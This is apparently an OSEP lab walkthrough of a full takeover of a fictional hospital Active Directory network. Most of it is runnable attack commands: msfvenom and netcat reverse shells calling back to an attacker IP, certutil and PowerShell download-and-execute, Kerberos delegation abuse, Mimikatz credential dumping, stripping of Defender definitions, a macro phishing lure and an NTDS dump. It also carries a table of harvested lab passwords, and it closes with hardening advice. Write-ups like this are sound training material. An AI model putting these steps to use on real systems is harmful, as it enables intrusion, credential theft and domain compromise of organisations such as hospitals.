OSEP: DeHospital Enterprise Healthcare Network Takeover
This comprehensive operational guide details the end-to-end compromise of the multi-tiered DeHospital healthcare infrastructure. Spanning both Linux management and Windows Active Directory systems, the attack chain navigates dual web entry points, exploits Kerberos constrained delegation, pivots across isolated network segments via Chisel SOCKS proxies, leverages cross-server MSSQL database links, bypasses Windows Defender protections, cracks Ansible automation vaults, delivers weaponized Office phishing documents, and escalates to complete domain takeover on the corporate Domain Controller.
DeHospital Multi-Tier Architecture & Attack Kill Chain
The DMZ IIS server hosts the DeHospital appointment management CMS. In /debug/upload.php, file uploads are restricted to PDF documents via client-side scripts and server-side magic byte inspection. Prefixing the payload with the PDF file signature %PDF-1.7 circumvents MIME type validation while IIS executes the appended .aspx payload.
Once initial code execution is obtained, checking token privileges reveals SeImpersonatePrivilege. Furthermore, harvesting Kerberos tickets from /tmp reveals an active ticket granting ticket for mary@dmzdehospital.com, while Kiwi/Mimikatz extracts the WEB07$ computer account hash.
# Craft payload with %PDF-1.7 magic bytes header msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx > raw_shell.aspx echo -n "%PDF-1.7" > shell.aspx cat raw_shell.aspx >> shell.aspx # Upload to /debug/upload.php and trigger reverse shell via /uploads/shell.aspx
iis apppool\defaultapppool.WEB07$ machine hash:# In Meterpreter: getprivs # Confirms SeImpersonatePrivilege enabled load kiwi creds_all # Recovers WEB07$ NTLM hash: a9f8e4b7720914d... # Export Linux Kerberos ticket found in /tmp/krb5cc_1933401114_PY29GB for mary@dmzdehospital.com
mary@dmzdehospital.com holds widespread administrative rights across the internal network.
Port 80 on Web09 exposes /debug/network_monitor.php. The target parameter executes shell commands directly without escaping. We trigger an interactive reverse shell, escalate to root via sudo find, and run pspy to monitor recurring tasks.
An automated script repeatedly runs bash -c echo 'ReekGreenOpal221' | kinit mary@dmzdehospital.com, revealing Mary's cleartext domain password: ReekGreenOpal221.
/debug/network_monitor.php:curl -s -G "http://192.168.x.x/debug/network_monitor.php" \ --data-urlencode "target=; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f"
www-data.sudo -l # Output: (ALL) NOPASSWD: /usr/bin/find sudo find . -exec /bin/sh \; -quit # Monitor recurring cron processes using pspy64: ./pspy64 # Captures: CMD: bash -c echo 'ReekGreenOpal221' | kinit mary@dmzdehospital.com
mary@dmzdehospital.com : ReekGreenOpal221.AllowedToDelegate on WEB07$ to impersonate Administrator on SQL02 over Chisel SOCKS tunnel.
BloodHound reveals that WEB07$ has constrained delegation rights (msDS-AllowedToDelegateTo) to cifs/sql02.dmzdehospital.com. Because SQL02 (172.16.82.x) resides on a non-routable internal subnet, we deploy a reverse SOCKS proxy via Chisel through Web07.
Using impacket-getST with WEB07$'s NTLM hash, we perform Kerberos S4U2Self and S4U2Proxy requests to forge a CIFS service ticket for Administrator, achieving remote execution on SQL02.
# On Kali (Attacker): chisel server -p 8000 --reverse # On Web07: .\chisel.exe client 10.10.14.5:8000 R:2222:socks # Configure /etc/proxychains4.conf with: socks5 127.0.0.1 2222
SQL02:proxychains impacket-getTGT DMZDEHOSPITAL.COM/WEB07$ -hashes :a9f8e4b7720914d... export KRB5CCNAME=WEB07$.ccache proxychains impacket-getST -k -no-pass -spn cifs/sql02.dmzdehospital.com -impersonate Administrator DMZDEHOSPITAL.COM/WEB07$ export KRB5CCNAME=Administrator@cifs_sql02.dmzdehospital.com@DMZDEHOSPITAL.COM.ccache proxychains impacket-psexec administrator@sql02.dmzdehospital.com -k -no-pass -target-ip 172.16.82.x
SQL02. Running secretsdump yields sql02@dmzdehospital.com:YellowRoyalNo31.SQL03, escalate to SYSTEM via PrintSpoofer, and dump LSA secrets.
The MSSQL database on SQL02 contains a linked server pointing to SQL03.TECH.DEHOSPITAL.COM in the corporate network. Connecting via impacket-mssqlclient, we invoke use_link [SQL03.TECH.DEHOSPITAL.COM], execute as sa, enable xp_cmdshell, and obtain a reverse shell.
The service account possesses SeImpersonatePrivilege. Running PrintSpoofer64.exe abuses the Named Pipe Spooler service to elevate to NT AUTHORITY\SYSTEM, and Kiwi's lsadump::secrets recovers the service credentials: zen@tech.dehospital.com : NoodlePizzaBlack28.
xp_cmdshell on SQL03:proxychains impacket-mssqlclient DMZDEHOSPITAL.COM/sql02:YellowRoyalNo31@172.16.82.x -windows-auth
# Inside MSSQL Shell:
enum_links
use_link [SQL03.TECH.DEHOSPITAL.COM]
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell "powershell -c (New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8000/nc64.exe','C:\Windows\Temp\nc.exe'); C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
SQL03 under service account context.C:\Windows\Temp\PrintSpoofer64.exe -i -c cmd # Elevated to NT AUTHORITY\SYSTEM # Dump LSA Service Secrets: mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit" # Recovers: zen@tech.dehospital.com : NoodlePizzaBlack28
zen@tech.dehospital.com : NoodlePizzaBlack28.
Account zen has administrative rights on JUMP01.TECH.DEHOSPITAL.COM. Before executing Mimikatz, Windows Defender signatures are stripped using the native command MpCmdRun.exe -removedefinitions -all.
Running sekurlsa::logonpasswords extracts the plaintext password for user ben@tech.dehospital.com : LoveHateJello312 and an SSH private key located in C:\Users\ben\.ssh\id_rsa.
proxychains impacket-psexec TECH.DEHOSPITAL.COM/zen:NoodlePizzaBlack28@JUMP01.TECH.DEHOSPITAL.COM # Strip Defender definitions: "C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all # Dump memory passwords: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # User: ben | Password: LoveHateJello312
ben@tech.dehospital.com : LoveHateJello312 + SSH private key.
Mary's credentials (ReekGreenOpal221) grant SMB administrative execution on File02 and Client01 (due to her membership in PROADMINS@DEHOSPITAL.COM).
On Client01, dumping LSA secrets reveals Susan's default credentials: susan@dehospital.com : PurpleFishBus32.
proxychains impacket-smbexec dmzdehospital.com/mary:ReekGreenOpal221@CLIENT01.DEHOSPITAL.COM # Stage and run Meterpreter payload via Certutil: certutil -urlcache -f http://10.10.14.5:8000/payload.exe C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.exe # In Meterpreter: load kiwi kiwi_cmd lsadump::secrets # Extracted: susan : PurpleFishBus32
susan@dehospital.com : PurpleFishBus32.
Inspecting Susan's Outlook archive on Client01 reveals an upcoming report exchange with paul@dehospital.com. We craft a macro-enabled Word document embedded with an obfuscated PowerShell reverse shell and deliver it via internal SMTP using sendemail.
Upon Paul opening the document, a reverse shell connects back from Client02. Running WinPEAS identifies weak service permissions on BTAGService (unprivileged users can modify service configuration). Updating binpath to our executable and restarting the service provides NT AUTHORITY\SYSTEM.
# Send internal phishing lure: proxychains sendemail -t paul@dehospital.com -f susan@dehospital.com \ -s 172.16.x.x -m "Please review the updated medical report." \ -u "Urgent Report" -a report.docm
BTAGService permissions to escalate to SYSTEM:sc config BTAGService binpath="C:\Windows\Temp\payload.exe" sc config BTAGService start="auto" sc stop BTAGService sc start BTAGService
BTAGService starts as SYSTEM, executing our binary and delivering a SYSTEM shell.
Spraying Ben's SSH key across port 22 targets unlocks access to mgr01.tech.dehospital.com. Checking sudo privileges (sudo -l) reveals NOPASSWD: /usr/bin/ansible-playbook.
Following GTFOBins, we execute a custom playbook to spawn root. We extract myvault.yml and crack the Ansible Vault encryption using ansible2john.py and John the Ripper to obtain credentials for ansiblesvc.
ssh ben@tech.dehospital.com@mgr01.tech.dehospital.com -i id_rsa
# Escalate to root via sudo ansible-playbook:
TF=$(mktemp)
echo '[{hosts: localhost, fires: true, tasks: [ansible.builtin.shell: /bin/sh /dev/tty 2>&1]}]' > $TF
sudo ansible-playbook $TF
mgr01.myvault.yml:ansible2john.py myvault.yml > vault.hash john vault.hash --wordlist=/usr/share/wordlists/rockyou.txt ansible-vault view myvault.yml
ansiblesvc@tech.dehospital.com.
Logging into ekg03 as ansiblesvc, we find sudo -l allows (ALL) NOPASSWD: ALL. Elevating to root, we discover a cached Kerberos credential ticket in /tmp belonging to TECH\henry.
BloodHound confirms Henry is a member of Domain Admins for tech.dehospital.com with direct administrative authority over the primary Domain Controller: CDC01.
Exporting Henry's ticket and pivoting through our established Chisel tunnels, we execute impacket-secretsdump against CDC01, dumping the entire Active Directory NTDS.dit database and retrieving secret.txt, proof.txt, and local.txt.
ssh ansiblesvc@tech.dehospital.com@ekg03 -i id_rsa sudo su # Harvest Henry's Kerberos ccache ticket: cp /tmp/krb5cc_1001 /tmp/henry.ccache # Recover SSH key in C:\Users\henry\.ssh
TECH\henry + password WhiteRubyBike431.CDC01 and capture the final flags:export KRB5CCNAME=henry.ccache proxychains impacket-secretsdump -k -no-pass CDC01.TECH.DEHOSPITAL.COM # Remote interactive shell on CDC01: proxychains impacket-psexec henry@CDC01.TECH.DEHOSPITAL.COM -k -no-pass type C:\Users\Administrator\Desktop\secret.txt type C:\Users\Administrator\Desktop\proof.txt
secret.txt, proof.txt, and local.txt captured. Complete Active Directory takeover validated.| Account | Domain / System | Type | Password / Secret | Privilege Level |
|---|---|---|---|---|
| WEB07$ | dmzdehospital.com | Machine Hash | a9f8e4b7720914d... | Constrained Delegation to SQL02 |
| mary | dmzdehospital.com | Cleartext | ReekGreenOpal221 | Admin on File02 & Client01 |
| sql02 | dmzdehospital.com | Cleartext | YellowRoyalNo31 | MSSQL Linked Server to SQL03 |
| zen | tech.dehospital.com | Cleartext | NoodlePizzaBlack28 | Local Admin on Jump01 |
| ben | tech.dehospital.com | Cleartext + SSH | LoveHateJello312 | SSH Access to Mgr01 |
| susan | dehospital.com | Cleartext | PurpleFishBus32 | Internal Email & RDP User |
| ansiblesvc | tech.dehospital.com | SSH Key | myvault.yml Decrypted | Sudo ALL on EKG03 |
| henry | tech.dehospital.com | Kerberos TGT + Clear | WhiteRubyBike431 | Domain Admin (Full Forest) |
1. Strict File Upload Validation: Never rely on file signatures (magic bytes) alone. Validate file extensions against a strict allowlist, re-encode uploaded media files server-side using libraries like ImageMagick, and store all uploads in a non-executable storage container outside the web document root.
2. Eliminate Direct Shell Execution: Replace system() and exec() calls in PHP administrative scripts with native language APIs or use escapeshellarg() / proc_open() with parameter arrays to neutralize command injection.
1. Eliminate Cross-Boundary Kerberos Delegation: DMZ computer accounts (like WEB07$) must never possess AllowedToDelegate rights to internal corporate database servers. Isolate DMZ authentication traffic from the internal forest.
2. Secure MSSQL Linked Servers: Configure linked database servers to connect using minimal, non-administrative database logins. Never configure linked servers with "Be made using this security context: sa". Disable xp_cmdshell enterprise-wide:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
1. Audit Service DACLs: Verify service permissions using AccessChk or PowerShell. Ensure non-administrative users do not possess SERVICE_CHANGE_CONFIG on services like BTAGService.
2. Restrict SeImpersonatePrivilege: Remove SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege from non-essential service accounts via Local Security Policy (`User Rights Assignment`). Run database services under Virtual Service Accounts (VSA) or Managed Service Accounts (gMSA).
1. Enforce Macro Blocking via GPO: Enable the Group Policy setting Block macros from running in Office files from the Internet under User Configuration -> Administrative Templates -> Microsoft Office 2016 -> Security Settings.
2. Internal SMTP Relay Hardening: Configure internal SMTP mail relays to enforce authentication and verify that sender headers match the authenticated user identity, preventing internal spoofing lures.
1. Eliminate GTFOBins Sudo Entries: Never grant NOPASSWD sudo permissions to interpreters or tools capable of shell escapes (such as ansible-playbook or find).
2. Prevent Cleartext Credentials in Scripts: Replace interactive cleartext pipes to kinit (e.g. echo pass | kinit) with Kerberos keytabs stored with chmod 600 and restricted to dedicated service users.
3. Ansible Vault Security: Secure Ansible vault keys using external Key Management Services (AWS KMS, HashiCorp Vault) rather than storing static password hashes locally on disk.